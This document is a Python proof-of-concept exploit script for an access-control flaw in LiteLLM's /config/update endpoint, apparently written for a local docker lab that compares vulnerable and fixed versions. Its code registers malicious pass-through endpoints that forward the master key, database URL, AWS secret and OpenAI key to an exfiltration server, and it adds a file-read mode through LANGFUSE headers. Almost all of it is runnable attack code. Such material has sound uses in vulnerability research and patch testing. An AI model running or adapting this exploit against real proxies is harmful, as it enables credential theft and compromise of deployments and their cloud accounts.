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| #!/usr/bin/env python3
"""
CVE-2026-35029 — LiteLLM /config/update Broken Access Control Exploit
Demonstrates privilege escalation via the unprotected /config/update endpoint:
- Any authenticated user (no admin role required) can modify the proxy config
- Attacker registers a malicious pass-through endpoint to exfiltrate env vars
- The pass-through endpoint forwards stolen data (DB creds, API keys) to attacker
Attack chain:
1. Obtain a valid API key (any key — no admin role check)
2. POST /config/update with a malicious pass-through endpoint config
3. The pass-through endpoint references env vars → LiteLLM resolves them
4. Trigger the pass-through endpoint → data forwarded to attacker's server
5. Read captured data from the exfiltration server logs
Usage:
python3 exploit.py --mode exfil --target http://localhost:4000 --key sk-litellm-master-key
python3 exploit.py --mode file-read --target http://localhost:4000 --key sk-litellm-master-key
python3 exploit.py --mode full-chain --target http://localhost:4000 --key sk-litellm-master-key
"""
import argparse
import json
import sys
import time
import requests
from payload import (
build_pass_through_exfil_payload,
build_file_read_payload,
build_config_overwrite_payload,
)
def check_target(target: str, api_key: str = "") -> bool:
"""Check if LiteLLM is reachable."""
try:
headers = {"Authorization": f"Bearer {api_key}"}
resp = requests.get(f"{target.rstrip('/')}/health", headers=headers, timeout=10)
if resp.status_code in (200, 401):
return True
except requests.RequestException:
pass
try:
resp = requests.get(target.rstrip("/"), timeout=10)
return resp.status_code == 200
except requests.RequestException:
return False
def check_exfil_server(exfil_url: str) -> bool:
"""Check if exfiltration server is reachable."""
try:
resp = requests.get(f"{exfil_url.rstrip('/')}/health", timeout=5)
return resp.status_code == 200
except requests.RequestException:
try:
resp = requests.get(exfil_url.rstrip("/"), timeout=5)
return resp.status_code == 200
except requests.RequestException:
return False
def send_config_update(
target: str,
api_key: str,
payload: dict,
endpoint: str = "/config/update",
) -> requests.Response:
"""Send a config update to the LiteLLM proxy."""
url = f"{target.rstrip('/')}{endpoint}"
headers = {
"Authorization": f"Bearer {api_key}",
"Content-Type": "application/json",
}
resp = requests.post(url, headers=headers, json=payload, timeout=15)
return resp
def trigger_pass_through(target: str, path: str, api_key: str) -> requests.Response:
"""Trigger a registered pass-through endpoint."""
url = f"{target.rstrip('/')}{path}"
headers = {
"Authorization": f"Bearer {api_key}",
"Content-Type": "application/json",
}
# LiteLLM pass-through endpoints forward the request to the target
resp = requests.get(url, headers=headers, timeout=15)
return resp
def fetch_exfil_logs(exfil_url: str) -> str:
"""Fetch captured data from the exfiltration server logs."""
try:
resp = requests.get(
f"{exfil_url.rstrip('/')}/logs", timeout=5
)
if resp.status_code == 200:
return resp.text
except requests.RequestException:
pass
return "[!] Could not fetch exfil logs (check exfil-server container)"
def exploit_env_exfil(
target: str,
api_key: str,
exfil_url: str,
is_fixed: bool = False,
):
"""
Exploit: Register a pass-through endpoint to exfiltrate env vars.
"""
tag = "FIXED" if is_fixed else "VULNERABLE"
print(f"\n{'=' * 70}")
print(f"[{tag}] Phase 1: Environment Variable Exfiltration")
print(f"{'=' * 70}")
exfil_path = "/exfil/env"
exfil_target = "http://exfil-server:9999/collect"
# Step 1: Register the malicious pass-through endpoint
print("\n[*] Step 1: Registering pass-through endpoint via /config/update...")
payload = build_pass_through_exfil_payload(
path=exfil_path,
target=exfil_target,
exfil_vars=[
"LITELLM_MASTER_KEY",
"DATABASE_URL",
"AWS_SECRET_ACCESS_KEY",
"OPENAI_API_KEY",
],
)
print(f" Payload: {json.dumps(payload, indent=4)}")
resp = send_config_update(target, api_key, payload)
print(f" HTTP {resp.status_code}")
if resp.status_code in (200, 201):
print(f" [+] Config update accepted!")
elif resp.status_code == 401:
print(f" [-] Authentication failed — check API key")
return
elif resp.status_code == 403:
print(f" [-] Forbidden — target may be patched (v1.83.0+)")
if is_fixed:
print(" [+] Expected: fixed version blocks non-admin config updates")
return
else:
print(f" [?] Unexpected status. Response: {resp.text[:300]}")
return
# Step 2: Wait for config propagation
print("\n[*] Step 2: Waiting for pass-through route propagation...")
for i in range(6, 0, -1):
print(f" {i} seconds...")
time.sleep(1)
# Step 3: Trigger the pass-through endpoint
print(f"\n[*] Step 3: Triggering pass-through endpoint at {exfil_path}...")
try:
resp = trigger_pass_through(target, exfil_path, api_key)
print(f" HTTP {resp.status_code}")
print(f" Response: {resp.text[:500]}")
except requests.RequestException as e:
print(f" Request error (may be expected if target is unreachable): {e}")
# Step 4: Check exfiltration logs
print(f"\n[*] Step 4: Checking exfiltration server for stolen data...")
time.sleep(2)
try:
exfil_resp = requests.get(f"{exfil_url}/logs", timeout=5)
if exfil_resp.status_code == 200:
print(f"\n[🔥] EXFILTRATION LOGS:")
print(exfil_resp.text[:3000])
if "DATABASE_URL" in exfil_resp.text or "LITELLM_MASTER_KEY" in exfil_resp.text:
print(f"\n[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!")
elif is_fixed:
print(f"\n [+] Fixed version: no data exfiltrated.")
else:
print(f" HTTP {exfil_resp.status_code}")
except requests.RequestException:
print(f" [!] Could not connect to exfil server at {exfil_url}")
print()
def exploit_file_read(
target: str,
api_key: str,
exfil_url: str,
is_fixed: bool = False,
):
"""Exploit: Read arbitrary files via LANGFUSE header Base64 encoding."""
tag = "FIXED" if is_fixed else "VULNERABLE"
print(f"\n{'=' * 70}")
print(f"[{tag}] Phase 2: Arbitrary File Read (via LANGFUSE headers)")
print(f"{'=' * 70}")
exfil_path = "/exfil/file"
exfil_target = "http://exfil-server:9999/collect-file"
print("\n[*] Step 1: Registering file-read pass-through endpoint...")
payload = build_file_read_payload(path=exfil_path, target=exfil_target)
print(f" Payload: {json.dumps(payload, indent=4)}")
resp = send_config_update(target, api_key, payload)
print(f" HTTP {resp.status_code}")
if resp.status_code in (200, 201):
print(f" [+] File-read endpoint registered!")
elif resp.status_code in (401, 403):
print(f" [-] Access denied — {'expected (fixed)' if is_fixed else 'check key'}")
return
else:
print(f" [?] Response: {resp.text[:300]}")
return
print("\n[*] Step 2: Waiting for route propagation...")
time.sleep(6)
print(f"\n[*] Step 3: Triggering file-read endpoint...")
try:
resp = trigger_pass_through(target, exfil_path, api_key)
print(f" HTTP {resp.status_code}")
except requests.RequestException as e:
print(f" Request error: {e}")
print(f"\n[*] Step 4: Checking exfiltrated file data...")
time.sleep(2)
try:
exfil_resp = requests.get(f"{exfil_url}/logs", timeout=5)
if exfil_resp.status_code == 200:
print(f"\n[🔥] CAPTURED DATA:")
print(exfil_resp.text[:3000])
except requests.RequestException:
pass
print()
def exploit_full_chain(target: str, api_key: str, exfil_url: str, is_fixed: bool = False):
"""Run the full attack chain: exfil + file read."""
print(f"\n{'=' * 70}")
print(f"CVE-2026-35029 — Full Attack Chain")
print(f"{'=' * 70}")
print(f" Target : {target}")
print(f" API Key : {api_key}")
print(f" Exfil URL : {exfil_url}")
print(f" Version : {'FIXED (v1.83.0+)' if is_fixed else 'VULNERABLE (< v1.83.0)'}")
print()
if not check_target(target, api_key):
print(f"[-] LiteLLM is not reachable at {target}")
print("[-] Start containers: docker compose up -d")
return
print(f"[+] LiteLLM is reachable.")
exploit_env_exfil(target, api_key, exfil_url, is_fixed)
exploit_file_read(target, api_key, exfil_url, is_fixed)
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-35029 — LiteLLM /config/update Broken Access Control Exploit",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Full attack chain against vulnerable instance
python3 exploit.py --mode full-chain -t http://localhost:4000 -k sk-litellm-master-key
# Just exfiltrate environment variables
python3 exploit.py --mode exfil -t http://localhost:4000 -k sk-litellm-master-key
# Try against fixed version (should be blocked)
python3 exploit.py --mode full-chain -t http://localhost:4001 -k sk-litellm-master-key --fixed
""",
)
parser.add_argument("--mode", choices=["exfil", "file-read", "full-chain"],
default="full-chain", help="Exploit mode")
parser.add_argument("-t", "--target", default="http://localhost:4000",
help="LiteLLM target URL")
parser.add_argument("-k", "--key", default="sk-litellm-master-key",
help="LiteLLM API key (any valid key)")
parser.add_argument("--exfil-url", default="http://localhost:9999",
help="Exfiltration server URL")
parser.add_argument("--fixed", action="store_true",
help="Mark target as fixed (v1.83.0+)")
args = parser.parse_args()
print(f"""
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██╔════╝ ╚════██╗██╔════╝
██║ ██║ ██║█████╗ ██║ ███╗ █████╔╝█████╗
██║ ╚██╗ ██╔╝██╔══╝ ██║ ██║ ╚═══██╗██╔══╝
╚██████╗ ╚████╔╝ ███████╗ ╚██████╔╝██████╔╝███████╗
╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚══════╝
""")
if args.mode == "exfil":
exploit_env_exfil(args.target, args.key, args.exfil_url, args.fixed)
elif args.mode == "file-read":
exploit_file_read(args.target, args.key, args.exfil_url, args.fixed)
else:
exploit_full_chain(args.target, args.key, args.exfil_url, args.fixed)
if __name__ == "__main__":
main()
|
